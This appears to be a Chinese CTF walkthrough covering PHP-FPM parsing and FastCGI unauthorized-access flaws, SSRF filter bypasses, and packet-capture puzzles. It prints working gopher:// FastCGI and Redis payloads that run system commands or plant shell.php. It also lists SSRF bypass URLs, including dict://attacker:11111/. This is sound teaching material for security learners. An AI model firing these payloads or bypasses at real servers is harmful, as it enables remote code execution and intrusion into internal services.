正常来说，SCRIPT_FILENAME的值是一个不存在的文件/var/www/html/favicon.ico/.php，是PHP设置中的一个选项fix_pathinfo导致了这个漏洞。PHP为了支持Path Info模式而创造了fix_pathinfo，在这个选项被打开的情况下，fpm会判断SCRIPT_FILENAME是否存在，如果不存在则去掉最后一个/及以后的所有内容，再次判断文件是否存在，往次循环，直到文件存在。 所以，第一次fpm发现/var/www/html/favicon.ico/.php不存在，则去掉/.php，再判断/var/www/html/favicon.ico是否存在。显然这个文件是存在的，于是被作为PHP文件执行，导致解析漏洞。 正确的解决方法有两种，一是在Nginx端使用fastcgi_split_path_info将path info信息去除后，用tryfiles判断文件是否存在；二是借助PHP-FPM的security.limit_extensions配置项，避免其他后缀文件被解析。 security.limit_extensions配置 写到这里，PHP-FPM未授权访问漏洞也就呼之欲出了。PHP-FPM默认监听9000端口，如果这个端口暴露在公网，则我们可以自己构造fastcgi协议，和fpm进行通信。 此时，SCRIPT_FILENAME的值就格外重要了。因为fpm是根据这个值来执行php文件的，如果这个文件不存在，fpm会直接返回404： 在fpm某个版本之前，我们可以将SCRIPT_FILENAME的值指定为任意后缀文件，比如/etc/passwd；但后来，fpm的默认配置中增加了一个选项security.limit_extensions： ; Limits the extensions of the main script FPM will allow to parse. This can ; prevent configuration mistakes on the web server side. You should only limit ; FPM to .php extensions to prevent malicious users to use other extensions to ; exectute php code. ; Note: set an empty value to allow all extensions. ; Default Value: .php ;security.limit_extensions = .php .php3 .php4 .php5 .php7 其限定了只有某些后缀的文件允许被fpm执行，默认是.php。所以，当我们再传入/etc/passwd的时候，将会返回Access denied.： 这个配置也会影响Nginx解析漏洞，我觉得应该是因为Nginx当时那个解析漏洞，促成PHP-FPM增加了这个安全选项。另外，也有少部分发行版安装中security.limit_extensions默认为空，此时就没有任何限制了。 由于这个配置项的限制，如果想利用PHP-FPM的未授权访问漏洞，首先就得找到一个已存在的PHP文件。 万幸的是，通常使用源安装php的时候，服务器上都会附带一些php后缀的文件，我们使用find / -name "*.php"来全局搜索一下默认环境： 找到了不少。这就给我们提供了一条思路，假设我们爆破不出来目标环境的web目录，我们可以找找默认源安装后可能存在的php文件，比如/usr/local/lib/php/PEAR.php。 任意代码执行 那么，为什么我们控制fastcgi协议通信的内容，就能执行任意PHP代码呢？ 理论上当然是不可以的，即使我们能控制SCRIPT_FILENAME，让fpm执行任意文件，也只是执行目标服务器上的文件，并不能执行我们需要其执行的文件。 但PHP是一门强大的语言，PHP.INI中有两个有趣的配置项，auto_prepend_file和auto_append_file。 auto_prepend_file是告诉PHP，在执行目标文件之前，先包含auto_prepend_file中指定的文件；auto_append_file是告诉PHP，在执行完成目标文件后，包含auto_append_file指向的文件。 那么就有趣了，假设我们设置auto_prepend_file为php://input，那么就等于在执行任何php文件前都要包含一遍POST的内容。所以，我们只需要把待执行的代码放在Body中，他们就能被执行了。（当然，还需要开启远程文件包含选项allow_url_include） 那么，我们怎么设置auto_prepend_file的值？ 这又涉及到PHP-FPM的两个环境变量，PHP_VALUE和PHP_ADMIN_VALUE。这两个环境变量就是用来设置PHP配置项的，PHP_VALUE可以设置模式为PHP_INI_USER和PHP_INI_ALL的选项，PHP_ADMIN_VALUE可以设置所有选项。（disable_functions除外，这个选项是PHP加载的时候就确定了，在范围内的函数直接不会被加载到PHP上下文中） 所以，我们最后传入如下环境变量： { 'GATEWAY_INTERFACE': 'FastCGI/1.0', 'REQUEST_METHOD': 'GET', 'SCRIPT_FILENAME': '/var/www/html/index.php', 'SCRIPT_NAME': '/index.php', 'QUERY_STRING': '?a=1&b=2', 'REQUEST_URI': '/index.php?a=1&b=2', 'DOCUMENT_ROOT': '/var/www/html', 'SERVER_SOFTWARE': 'php/fcgiclient', 'REMOTE_ADDR': '127.0.0.1', 'REMOTE_PORT': '12345', 'SERVER_ADDR': '127.0.0.1', 'SERVER_PORT': '80', 'SERVER_NAME': "localhost", 'SERVER_PROTOCOL': 'HTTP/1.1' 'PHP_VALUE': 'auto_prepend_file = php://input', 'PHP_ADMIN_VALUE': 'allow_url_include = On' } 设置auto_prepend_file = php://input且allow_url_include = On，然后将我们需要执行的代码放在Body中，即可执行任意代码。 效果如下： Gopherus工具生成攻击FastCGI的payload。 python2 gopherus.py --exploit fastcgi 之后输入第一行要求输入路径： /var/www/html/index.php 第二行输入要执行的命令：ls 得到如下： gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%04%04%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH54%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%006%04%00%3C%3Fphp%20system%28%27ls%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00 抓一个url包含的包，把_后面的内容全部再url编码一遍再进行传输 对上面的代码进行url编码： gopher://127.0.0.1:9000/_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2501%2504%2504%2500%250F%2510SERVER_SOFTWAREgo%2520/%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP/1.1%250E%2502CONTENT_LENGTH54%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D%2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A//input%250F%2517SCRIPT_FILENAME/var/www/html/index.php%250D%2501DOCUMENT_ROOT/%2500%2500%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%25006%2504%2500%253C%253Fphp%2520system%2528%2527ls%2527%2529%253Bdie%2528%2527-----Made-by-SpyD3r-----%250A%2527%2529%253B%253F%253E%2500%2500%2500%2500 进行编辑重发，发现没有我们想要的数据 也可以使用这条命令find / -name flag\* 重新发送发现flag 接下来就是cat flag了 这里有一个注意点就是 cat /flag_e3efc193a3811fef395f8088a85f1503 这个 / 千万不要漏掉 再次进行url编码，得到flag Redis协议 这次来攻击redis协议吧.redis://127.0.0.1:6379 使用Gopherus生成所需攻击Redis的Paylaod： python2 gopherus.py --exploit redis 其已经经过一次URL编码，并且将%0A替换为%0D%0A，只需对其进行二次URL编码即可： 发送数据包，题目环境显示504，但Shell已经写入，访问shell.php： shell.php?cmd=ls%20/ shell.php?cmd=cat%20/flag_7580273f745ec7b2a3a5398acd2958c5 URL Bypass 环境如下 这里由于必须含有指定的网址，所以不能用数字ip法，这里使用@后访问的是后面的网址 这里说一下绕ssrf的办法 1.攻击本地 http://127.0.0.1:80 http://localhost:22 2.利用[::] http://[::]:80/ =>http://127.0.0.1 不加端口的话是http://[::]/ 3.利用@ 这里就是在指定的网址后加@+127.0.0.1 4.利用短域名 http://dwz.cn/11SMa >>> http://127.0.0.1 5.利用特殊域名 原理是DNS解析 http://127.0.0.1.xip.io/ http://www.owasp.org.127.0.0.1.xip.io/ 6.利用DNS解析 在域名上设置A记录，指向127.0.0.1 7.利用上传 修改"type=file"为"type=url" 比如：上传图片处修改上传，将图片文件修改为URL，即可能触发SSRF 8.利用句号 127。0。0。1=>127.0.0.1 9.进行进制转换 可以是十六进制，八进制等。 115.239.210.26 >>> 16373751032 首先把这四段数字给分别转成16进制，结果：73 ef d2 1a 然后把 73efd21a 这十六进制一起转换成8进制 记得访问的时候加0表示使用八进制(可以是一个0也可以是多个0 跟XSS中多加几个0来绕过过滤一样)，十六进制加0x 10.利用特殊地址 http://0/ 11.利用协议 Dict:// dict://@:/d: ssrf.php?url=dict://attacker:11111/ SFTP:// ssrf.php?url=sftp://example.com:11111/ TFTP:// ssrf.php?url=tftp://example.com:12346/TESTUDPPACKET LDAP:// ssrf.php?url=ldap://localhost:11211/%0astats%0aquit 这里用@绕过试试得到： challenge-e2aee56969b32296.sandbox.ctfhub.com:10800/?url=http://notfound.ctfhub.com@localhost/flag.php 利用特殊域名 challenge-e2aee56969b32296.sandbox.ctfhub.com:10800/?url=http://notfound.ctfhub.com.127.0.0.1.nip.io/flag.php 数字IP Bypass 这次ban掉了127以及172.不能使用点分十进制的IP了。但是又要访问127.0.0.1。该怎么办呢 方法一：使用localhost 方法二：127.0.0.1转换成数字ip 2130706433 302跳转 Bypass SSRF中有个很重要的一点是请求可能会跟随302跳转，尝试利用这个来绕过对IP的检测访问到位于127.0.0.1的flag.php吧 访问?url=http://127.0.0.1，提示禁止访问局域网ip 查看一下网页源代码： 这里限制了127/172/10/192 这里试着之前写的绕过方法 比如localhost 或者数字ip： DNS重绑定 Bypass 关键词：DNS重绑定 访问?url=http://127.0.0.1，提示禁止访问局域网ip 使用localhost先搞出flag 与上题一样的黑名单，但题目要求以DNS重绑定的方式绕过。 通过rbndr.us dns rebinding service网站设置DNS： 复制下面的域名，输入网址得到flag MSIC 流量分析 数据库类流量 Mysql流量 环境如下： 使用wireshark分析流量包,找到flag Redis流量 环境如下： 找到被分成两半的flag MangoDB流量 对ctfhub{进行编码 找到flag 协议流量分析 ICMP Data 每个流量包的这个位置的字符进行拼接 {c87eb99796406ac0b} Length 使用wireshark分析数据包 过滤ICMP包，分析…… 根据题目提示，需要使用Length字段 将所有ICMP数据包的Length字段取出来，转换为ASCII码值，即可得到flag 9911610210411798123979998545357102485051125 ctfhub{acb659f023} LengthBinary ping 包的大小有些奇怪 题目很直接的给了提示，就是二进制与length的关系，使用wireshark打开流量包查看，使用过滤器icmp&& icmp.type==8来进行过滤，查看每一条流量的length值，发现都是32或64 011000110111010001100110011010000111010101100010011110110011000000110100011001010110011001100101011001000011000101100101001100000011010101111101 ctfhub{04efed1e05} 数据隐写 图片隐写 简单隐写 Crypto 古典密码 AES DES 流密码 哈希 ECC